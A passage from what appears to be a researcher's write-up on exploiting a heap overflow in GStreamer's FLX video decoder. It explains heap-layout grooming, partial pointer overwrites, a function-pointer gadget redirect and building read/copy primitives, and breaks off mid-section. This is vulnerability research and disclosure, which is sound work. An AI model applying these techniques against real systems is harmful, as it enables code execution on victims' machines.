<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We decide to base our exploit around corrupting the metadata object for the actual decoder itself, which is defined thus:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">struct _GstFlxDec {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GstElement element;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GstPad *sinkpad,*srcpad;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gboolean active, new_meta;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> guint8 *delta_data, *frame_data;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GstAdapter *adapter;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gulong size;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GstFlxDecState state;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gint64 frame_time;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gint64 next_time;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gint64 duration;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> FlxColorSpaceConverter *converter;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> FlxHeader hdr;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">};</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This decoder object is typically referenced through a pointer </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in the code. Because of the strong heap consistency described above, we’ll typically find a constant offset between the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer which we are corrupting off the end of, and the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object itself. This means that we can use a fixed value of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">start_line</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in the vulnerable </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flx_decode_delta_fli()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function above, and target corruption of specific fields of this object, such as </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Of course, for all this to work, we need the metadata object to be </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">after</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in the heap. The heap layout is reasonably deterministic for reasons already covered, and different heap layouts can be achieved by changing the input size canvas, or the file extension (which seems to trigger vastly different logic and code paths inside the file format auto detection).</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Trick #1: corrupting the converter field to upgrade to an absolute write primitive</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The initial corruption primitive we have is a relative write off the end of an existing heap buffer. On 64-bit, the range is certainly limited such that it is not possible to write earlier in the heap, and writing later in the heap is also subject to some constraints. Given that an exploit needs to deference fairly arbitrary pointers, we’ll need to upgrade our write primitive. Getting an absolute write primitive is great but we should note we need some form of ASLR defeat before the absolute write becomes fully powerful.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If we corrupt </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, we can subsequently use a FLX_COLOR256 command in the input file. This effectively calls </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flx_decode_color()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which writes attacker supplied bytes (in multiples of three) to the address </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter + 8</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Trick #2: awesomely useful 3-byte partial pointer overwrite within thread heap arena</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">On modern glibc, malloc() on a thread will return heap chunks from a per-thread heap arena. This heap arena has very strong alignment of 64MB on 64-bit. A typical thread heap start address might be 0x7fffa8000000. This strong alignment is very useful for partial pointer overwrites. Fully 3 bytes can be overwritten without having to worry about differing alignments. In the case of the exploit, the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer is partially overwritten so that it points early in the thread heap arena to corrupt a function pointer.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Trick #3: single byte partial pointer overwrite of a function pointer</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the exploit, there’s a function pointer at thread heap arena offset 0x002818, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst_list_iterator_resync()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Linux ASLR places code with page level granularity, and this particular pointer value ends in 0x6f0 within a page. Determinism can be retained by corrupting the single least significant byte, but no more. As is happens, at offset 0x6e8 (accessible via a single byte corruption), there is the code:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> xor %eax,%eax</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> retq</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We use that little gadget to force the decoder loop to continue indefinitely, earlier in the exploit.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Trick #4: locating a copy primitive</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Being able to perform partial pointer overwrites only is no fun because it will mostly limit us to exploring and corrupting within thread heap arenas. What we’d really like is a copy primitive so that we can read a pointer value and then write it somewhere out of bounds. After a bit of code study, we do see such a primitive in the decode loop. First, the read:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flx_decode_delta_fli (GstFlxDec * flxdec, guchar * data, guchar * dest)</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* use last frame for delta */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> memcpy (dest, flxdec->delta_data, flxdec->size);</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We can corrupt </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (either a full overwrite, or a partial pointer overwrite) and therefore read from various interesting memory locations. </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flx_decode_delta_fli()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> can be called as many times as we want per frame, via multiple FLX_LC commands. Results of the read are placed in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">And the write:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst_flxdec_chain() {</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* decode chunks */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> flx_decode_chunks (flxdec,</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ((FlxFrameType *) chunk)->chunks,</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> chunk + FlxFrameTypeSize, flxdec->frame_data);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* save copy of the current frame for possible delta. */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> memcpy (flxdec->delta_data, flxdec->frame_data, flxdec->size);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is a write of the content we previously read into </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This content is written to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, another pointer we can corrupt to point to where we want. Unfortunately, this write only fires once per frame, at the end, and as we covered earlier, we have a frame budget of 2! Together, this read and write are a decent copy primitive. We should be able to use it to chase pointer chains.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Trick #5: corrupting the input file buffer</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This trick is pretty neat as is enables us to do more inside our budget of 2 frames. We can use our copy primitive to copy a bunch of pointers and write them into the buffer containing the input file. We can then further corrupt the input file buffer, in the spaces in between the pointers we just copied, to create commands that effectively write real pointer values to useful locations.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We also use this trick in the exploit, to restore </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. After corrupting it to chase a chain of pointers, we need to put it back, otherwise we’ve lost control of it via partial pointer overwrites. In order to put it back, we write write its original value into the input file buffer.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Trick #6: co-opting an addition primitive</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
